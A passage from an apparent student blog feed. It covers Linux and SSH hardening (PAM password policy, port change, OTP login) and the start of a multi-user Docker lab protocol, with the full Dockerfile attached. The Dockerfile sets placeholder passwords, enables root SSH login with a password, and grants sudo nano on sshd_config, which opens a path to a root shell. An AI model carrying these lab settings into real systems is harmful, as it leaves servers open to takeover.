<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sed -i <span style="color:#e6db74">&#39;/retry=3/ s/$/ ucredit=-1 dcredit=-1 ocredit=-1 enforce_for_root &#39;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>            /etc/pam.d/common-password
</span></span></code></pre></div><p>The actual command itself is specified inside of the two <code>&quot;</code>.
<code>/retry=3/</code> is a search pattern, so the command operates only on lines that contain &lsquo;retry=3&rsquo;.
<code>s</code> is the substitution command and <code>$</code> represents the end of the line so essentially <code>s/$/</code> tells sed to insert whatever characters are entered after the <code>/</code> at the end of a line, which contains &lsquo;retry=3&rsquo;.
Lastly, the path to the file being edited is specified. The next used command is the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sed -i <span style="color:#e6db74">&#39;/ocredit=-1/ a password\trequisite\t\t\tpam_pwhistory.so remember=5 use_authtok &#39;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>            /etc/pam.d/common-password
</span></span></code></pre></div><p>This command searches for the line containing &lsquo;ocredit=-1&rsquo; and uses the <code>a</code> command to append a new line after the line containing &lsquo;ocredit=-1&rsquo;.
<code>\t</code> is the escape sequence for a horizontal tab character, so it does not need to insert the correct number of whitespace characters, making it a shorter command.</p>
<h3 id="harden-ssh">Harden SSH</h3>
<h4 id="changing-the-ssh-port">Changing the ssh port</h4>
<p>The configuration file for SSH is in <code>/etc/ssh/sshd_config</code>, where the port is changed by uncommenting the line containing Port 22 and changing the number to the desired port. Afterwards, the <code>service ssh restart</code> command must be issued to take effect <sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>RUN sed -i <span style="color:#e6db74">&#39;s/#Port 22/Port 38452/&#39;</span> /etc/ssh/sshd_config
</span></span></code></pre></div><p>The <code>netstat -tulnp</code> command shows the processes and ports that are listening for both TCP and UDP.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex5/images/netstathost.png"/> <figcaption>
            Figure: netstat -tulnp on the host
        </figcaption>
</figure>

<p>When I run this command on the host, it only shows the docker process instead of ssh directly, because ssh is running inside the container. There are also other containers and processes listening as I use this VPS to host SearXng as well.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex5/images/netstatcontainer.png"/> <figcaption>
            Figure: netstat -tulnp on the container
        </figcaption>
</figure>

<p>Running the same command on the container now shows that the sshd process is listening on the desired port. The <code>d</code> at the end of ssh stands for daemon and means that this is a service that the d indicates <sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup>.</p>
<h4 id="adding-otp-authentication">Adding OTP authentication</h4>
<p>To add OTP authentication the <code>libpam-google-authenticator</code> package is required.</p>
<p>Once the package is installed, all you need to do is run the <code>google-authenticator</code> command, scan the QR code with the 2FA app of your choice and reply to each prompt with <code>y</code> <sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup>.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex5/images/otpauth.png"/> <figcaption>
            Figure: setting up OTP
        </figcaption>
</figure>

<p>To enable ssh to use OTP authentication these two lines need to be added at the top of the <code>/etc/pam.d/sshd</code> file.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>auth required pam_google_authenticator.so nullok
</span></span><span style="display:flex;"><span>auth required pam_permit.so
</span></span></code></pre></div><p>After that the ssh configuration file needs to be edited as well.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># change this</span>
</span></span><span style="display:flex;"><span>KbdInteractiveAuthentication no
</span></span><span style="display:flex;"><span><span style="color:#75715e"># to this</span>
</span></span><span style="display:flex;"><span>KbdInteractiveAuthentication yes
</span></span><span style="display:flex;"><span><span style="color:#75715e"># add this line at the bottom</span>
</span></span><span style="display:flex;"><span>AuthenticationMethods publickey,keyboard-interactive
</span></span></code></pre></div><p>Login is now only possible with keypair, password and OTP.</p>
<h4 id="logging-in-as-the-users">Logging in as the users</h4>
<p>Here are screenshots of logging in as a user and trying to log in as a user who has neither a key pair nor an OTP set up.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex5/images/ram-fuslogin.png"/> <figcaption>
            Figure: logging in as ram-fus
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex5/images/ram-ramlogin.png"/> <figcaption>
            Figure: logging in as ram-ram
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex5/images/failedlogin.png"/> <figcaption>
            Figure: trying to login as ram-alois
        </figcaption>
</figure>
</p>
<hr>
<h2 id="references">References</h2>
<p><em>For a full bibliography, see the <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex5/quellen.bib">original BibTeX file</a>.</em></p>
<h2 id="list-of-figures">List of Figures</h2>
<ol>
<li>Grouplogo</li>
<li>sudo id</li>
<li>sudo permissions of ram-ram</li>
<li>sudo permissions of ram-alois</li>
<li>sudo permissions of ram-berta</li>
<li>Testing the password policies</li>
<li>netstat -tulnp on the host</li>
<li>netstat -tulnp on the container</li>
<li>setting up OTP</li>
<li>logging in as ram-fus</li>
<li>logging in as ram-ram</li>
<li>trying to login as ram-alois</li>
</ol>
<hr>
<h2 id="attachments">Attachments</h2>
<h3 id="dockerfile">Dockerfile</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#66d9ef">FROM</span><span style="color:#e6db74"> ubuntu:latest</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> apt update<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> apt upgrade -y<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> apt install iproute2 iputils-ping zsh net-tools vim sudo nano libpam-pwquality <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    libpam-google-authenticator -y<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> echo <span style="color:#e6db74">&#34;ram-alois ALL=(root) /bin/nano /etc/ssh/sshd_config&#34;</span> &gt;&gt; /etc/sudoers<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> echo <span style="color:#e6db74">&#34;ram-berta ALL=(root) /sbin/useradd&#34;</span> &gt;&gt; /etc/sudoers<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> echo <span style="color:#e6db74">&#34;ram-ram ALL=(root) /bin/ls&#34;</span> &gt;&gt; /etc/sudoers<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> echo <span style="color:#e6db74">&#34;ram-ram ALL=(root) /bin/cat&#34;</span> &gt;&gt; /etc/sudoers<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> ln -fs /usr/share/zoneinfo/Europe/Vienna /etc/localtime<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> DEBIAN_FRONTEND<span style="color:#f92672">=</span>noninteractive apt install -y tzdata ssh<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> echo <span style="color:#e6db74">&#39;root:passwordhere&#39;</span> | chpasswd<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> sed -i <span style="color:#e6db74">&#39;s/#Port 22/Port 38452/&#39;</span> /etc/ssh/sshd_config<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> sed -i <span style="color:#e6db74">&#39;s/#PermitRootLogin prohibit-password/PermitRootLogin yes/&#39;</span> /etc/ssh/sshd_config<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> sed -i <span style="color:#e6db74">&#39;/retry=3/ s/$/ ucredit=-1 dcredit=-1 ocredit=-1 minlen=10 enforce_for_root &#39;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>            /etc/pam.d/common-password<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> sed -i <span style="color:#e6db74">&#39;/ocredit=-1/ a password\trequisite\t\t\tpam_pwhistory.so remember=5 use_authtok &#39;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>            /etc/pam.d/common-password<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> groupadd -g <span style="color:#ae81ff">324</span> ram-Users<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> useradd -u <span style="color:#ae81ff">1024</span> -m ram-alois<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> useradd -u <span style="color:#ae81ff">1124</span> -m ram-berta<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> useradd -u <span style="color:#ae81ff">1224</span> -m ram-chris<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> useradd -m ram-fus<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> useradd -m ram-ram<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> echo <span style="color:#e6db74">&#39;ram-fus:passwordhere&#39;</span> | chpasswd<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> echo <span style="color:#e6db74">&#39;ram-ram:passwordhere&#39;</span> | chpasswd<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> echo <span style="color:#e6db74">&#39;ram-alois:passwordhere&#39;</span> | chpasswd<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> echo <span style="color:#e6db74">&#39;ram-chris:passwordhere&#39;</span> | chpasswd<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> echo <span style="color:#e6db74">&#39;ram-berta:passwordhere&#39;</span> | chpasswd<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> usermod -g ram-Users ram-alois<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> usermod -g ram-Users ram-berta<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> usermod --shell /bin/bash ram-alois<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> usermod --shell /bin/bash ram-berta<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> usermod --shell /bin/zsh ram-chris<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> usermod -aG sudo ram-fus<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> usermod -aG sudo ram-ram<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> mkdir -p /data/fus<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> mkdir /data/fus/alois<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> mkdir /data/fus/berta<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> mkdir /data/fus/chris<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> mkdir /data/fus/public<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> chgrp -R ram-Users /data/fus/<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> chmod g+rw /data/fus/<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> chown -R ram-alois:ram-Users /data/fus/alois/<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> chmod -R u+wrx,g<span style="color:#f92672">=</span>r,o<span style="color:#f92672">=</span> /data/fus/alois/<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> chown -R ram-berta:ram-Users /data/fus/berta/<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> chmod -R u+wrx,g<span style="color:#f92672">=</span>r,o<span style="color:#f92672">=</span> /data/fus/berta/<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> chown -R ram-chris:ram-Users /data/fus/chris/<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> chmod -R u+wrx,g<span style="color:#f92672">=</span>,o<span style="color:#f92672">=</span> /data/fus/chris/<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> chmod -R u+wrx,g+wrx,o<span style="color:#f92672">=</span>r /data/fus/public/<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">EXPOSE</span><span style="color:#e6db74"> 38452</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">CMD</span> service ssh start <span style="color:#f92672">&amp;&amp;</span> tail -F /dev/null<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><h3 id="aliassh">alias.sh</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/sh
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>alias relaunch<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;sh -c &#39;docker stop itsi &amp;&amp; docker rm itsi &amp;&amp;\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">docker buildx build -t itsi:latest . &amp;&amp;\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">docker run -d -p 38452:38452 --name itsi itsi:latest &amp;&amp; docker exec -it itsi /bin/bash&#39;&#34;</span>
</span></span><span style="display:flex;"><span>alias rebuild<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;sh -c &#39;docker buildx build -t itsi:latest . &amp;&amp;\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">docker run -d -p 38452:38452 --name itsi itsi:latest &amp;&amp; docker exec -it itsi /bin/bash&#39;&#34;</span>
</span></span><span style="display:flex;"><span>alias stop<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;sh -c &#39;docker stop itsi &amp;&amp; docker rm itsi&#39;&#34;</span>
</span></span></code></pre></div><div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>S. Zivanov, &ldquo;Linux Sudo Command {How to Use It +Examples},&rdquo; Knowledge Base by phoenixNAP, Jun. 2024. <a href="https://phoenixnap.com/kb/linux-sudo">link</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>sk, &ldquo;How To Set Password Policies In Linux - OSTechNix,&rdquo; OSTechNix, Jun. 2022. <a href="https://ostechnix.com/how-to-set-password-policies-in-linux">link</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>&ldquo;How to prevent user from using old password (or re-using) again in Linux | GoLinuxCloud,&rdquo; Aug. 2022. <a href="https://www.golinuxcloud.com/prevent-user-from-using-old-password-rhel-7">link</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>GeeksforGeeks, &ldquo;Sed Command in Linux/Unix with examples,&rdquo; GeeksforGeeks, Sep. 2024. <a href="https://www.geeksforgeeks.org/sed-command-in-linux-unix-with-examples">link</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>&ldquo;sed, a stream editor,&rdquo; Dec. 2024. <a href="https://www.gnu.org/software/sed/manual/sed.html">link</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p>&ldquo;How To Harden OpenSSH on Ubuntu 20.04 | DigitalOcean,&rdquo; Nov. 2024. <a href="https://www.digitalocean.com/community/tutorials/how-to-harden-openssh-on-ubuntu-20-04">link</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p>B. Dyer, &ldquo;What are Daemons in Linux? Why are They Used?&rdquo; It&rsquo;s FOSS, Sep. 2023. <a href="https://itsfoss.com/linux-daemons">link</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p>P. Malhotra, &ldquo;Enhancing SSH Security with Two-Factor Authentication (2FA) via PAM and Google Authenticator,&rdquo; Medium, Sep. 2023. <a href="https://medium.com/@prateek.malhotra004/enhancing-ssh-security-with-two-factor-authentication-2fa-via-pam-and-google-authenticator-70af135c2a95">link</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>GNU/Linux - Setting up a multi-user environment</title><link>https://0xveya.github.io/posts/itsi/year-3/exercise-4/multi-user-environment/</link><pubDate>Wed, 06 Nov 2024 00:00:00 +0100</pubDate><guid>https://0xveya.github.io/posts/itsi/year-3/exercise-4/multi-user-environment/</guid><description>&lt;blockquote>
&lt;p>Note: this was converted from LaTeX to Markdown using manual formatting. The original TeX file can be found &lt;a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex4/Einrichten%20einer%20Multi-User-Umgebung.tex">here&lt;/a> along with the &lt;a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex4/quellen.bib">bibliography&lt;/a>.&lt;/p>&lt;/blockquote>
&lt;hr>
&lt;h1 id="gnulinux---setting-up-a-multi-user-environment">GNU/Linux - Setting up a multi-user environment&lt;/h1>
&lt;p>&lt;strong>Laboratory Protocol&lt;/strong>&lt;br>
GNU/Linux - Setting up a multi-user environment&lt;br>
&lt;figure>
&lt;img loading="lazy" src="https://0xveya.github.io/itsi/y3/ex4/images/mika.jpeg"/> &lt;figcaption>
Figure: Grouplogo
&lt;/figcaption>
&lt;/figure>
&lt;strong>Subject:&lt;/strong> ITSI|ZIVK&lt;br>
&lt;strong>Class:&lt;/strong> 3AHITN&lt;br>
&lt;strong>Name:&lt;/strong> Stefan Fürst, Marcel Raichle&lt;br>
&lt;strong>Group Name/Number:&lt;/strong> Dumm und Dümmer/7&lt;br>
&lt;strong>Supervisor:&lt;/strong> ZIVK&lt;br>
&lt;strong>Exercise dates:&lt;/strong> 25.10.2024, 1.11.2024, 3.11.2024, 6.11.2024&lt;br>
&lt;strong>Submission date:&lt;/strong> 6.11.2024&lt;/p>
&lt;hr>
&lt;h2 id="table-of-contents">Table of Contents&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#task-definition">Task Definition&lt;/a>&lt;/li>
&lt;li>&lt;a href="#summary">Summary&lt;/a>&lt;/li>
&lt;li>&lt;a href="#exercise-execution">Exercise Execution&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#creating-the-container">Creating the Container&lt;/a>&lt;/li>
&lt;li>&lt;a href="#testing-connectivity">Testing Connectivity&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#it-works-but-why">It works, but why?&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#creating-and-managing-users">Creating and managing users&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#login-as-the-users">Login as the users&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#set-directory-privileges">Set directory privileges&lt;/a>&lt;/li>
&lt;li>&lt;a href="#setting-up-ssh">Setting up ssh&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#logging-on-to-the-ssh-server">Logging On to the SSH Server&lt;/a>&lt;/li>
&lt;li>&lt;a href="#enabling-keypair-authentication">Enabling keypair authentication&lt;/a>&lt;/li>
&lt;li>&lt;a href="#disable-password-authentication">Disable password authentication&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#references">References&lt;/a>&lt;/li>
&lt;li>&lt;a href="#list-of-figures">List of Figures&lt;/a>&lt;/li>
&lt;li>&lt;a href="#attachments">Attachments&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="task-definition">Task Definition&lt;/h2>
&lt;p>Setting up a headless Linux installation with multiple users, adding them to a group, and setting permissions over a directory structure. You will also need to set up an ssh server for which you will need to set up key pair authentication.&lt;/p></description><content:encoded><![CDATA[<blockquote>
<p>Note: this was converted from LaTeX to Markdown using manual formatting. The original TeX file can be found <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex4/Einrichten%20einer%20Multi-User-Umgebung.tex">here</a> along with the <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex4/quellen.bib">bibliography</a>.</p></blockquote>
<hr>
<h1 id="gnulinux---setting-up-a-multi-user-environment">GNU/Linux - Setting up a multi-user environment</h1>
<p><strong>Laboratory Protocol</strong><br>
GNU/Linux - Setting up a multi-user environment<br>
<figure>
    <img loading="lazy" src="/itsi/y3/ex4/images/mika.jpeg"/> <figcaption>
            Figure: Grouplogo
        </figcaption>
</figure>

<strong>Subject:</strong> ITSI|ZIVK<br>
<strong>Class:</strong> 3AHITN<br>
<strong>Name:</strong> Stefan Fürst, Marcel Raichle<br>
<strong>Group Name/Number:</strong> Dumm und Dümmer/7<br>
<strong>Supervisor:</strong> ZIVK<br>
<strong>Exercise dates:</strong> 25.10.2024, 1.11.2024, 3.11.2024, 6.11.2024<br>
<strong>Submission date:</strong> 6.11.2024</p>
<hr>
<h2 id="table-of-contents">Table of Contents</h2>
<ul>
<li><a href="#task-definition">Task Definition</a></li>
<li><a href="#summary">Summary</a></li>
<li><a href="#exercise-execution">Exercise Execution</a>
<ul>
<li><a href="#creating-the-container">Creating the Container</a></li>
<li><a href="#testing-connectivity">Testing Connectivity</a>
<ul>
<li><a href="#it-works-but-why">It works, but why?</a></li>
</ul>
</li>
<li><a href="#creating-and-managing-users">Creating and managing users</a>
<ul>
<li><a href="#login-as-the-users">Login as the users</a></li>
</ul>
</li>
<li><a href="#set-directory-privileges">Set directory privileges</a></li>
<li><a href="#setting-up-ssh">Setting up ssh</a>
<ul>
<li><a href="#logging-on-to-the-ssh-server">Logging On to the SSH Server</a></li>
<li><a href="#enabling-keypair-authentication">Enabling keypair authentication</a></li>
<li><a href="#disable-password-authentication">Disable password authentication</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="#references">References</a></li>
<li><a href="#list-of-figures">List of Figures</a></li>
<li><a href="#attachments">Attachments</a></li>
</ul>
<hr>
<h2 id="task-definition">Task Definition</h2>
<p>Setting up a headless Linux installation with multiple users, adding them to a group, and setting permissions over a directory structure. You will also need to set up an ssh server for which you will need to set up key pair authentication.</p>
<hr>
<h2 id="summary">Summary</h2>
<p>To accomplish this, we set up a Docker image that does all the necessary setup so that the container can be rebuilt at any time for easier testing instead of using a heavier vm. To make it easier to rebuild and restart the container, we wrote a shell script to the source so that we had aliases for all the commands. We used the Ubuntu Docker image as a base, installed the required packages since the image comes with a minimal amount of packages, and used <code>useradd</code>, <code>usermod</code>, <code>chmod</code>, <code>chown</code>, <code>chgrp</code>, <code>su</code> to add users, change file ownership, permissions and test. Finally, for the ssh part, the service was set up and configured appropriately. We did everything that made sense in the Dockerfile file to make it reproducible.</p>
<hr>
<h2 id="exercise-execution">Exercise Execution</h2>
<h3 id="creating-the-container">Creating the Container</h3>
<p>I decided to write my own dockerfile for this, which is a text file that describes the commands needed to create the desired image. Let&rsquo;s walk through how to create an image for the first task.</p>
<p>We start by using the <code>FROM</code> keyword to specify the base image <sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> from which we are starting.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#66d9ef">FROM</span><span style="color:#e6db74"> ubuntu:latest</span><span style="color:#960050;background-color:#1e0010">
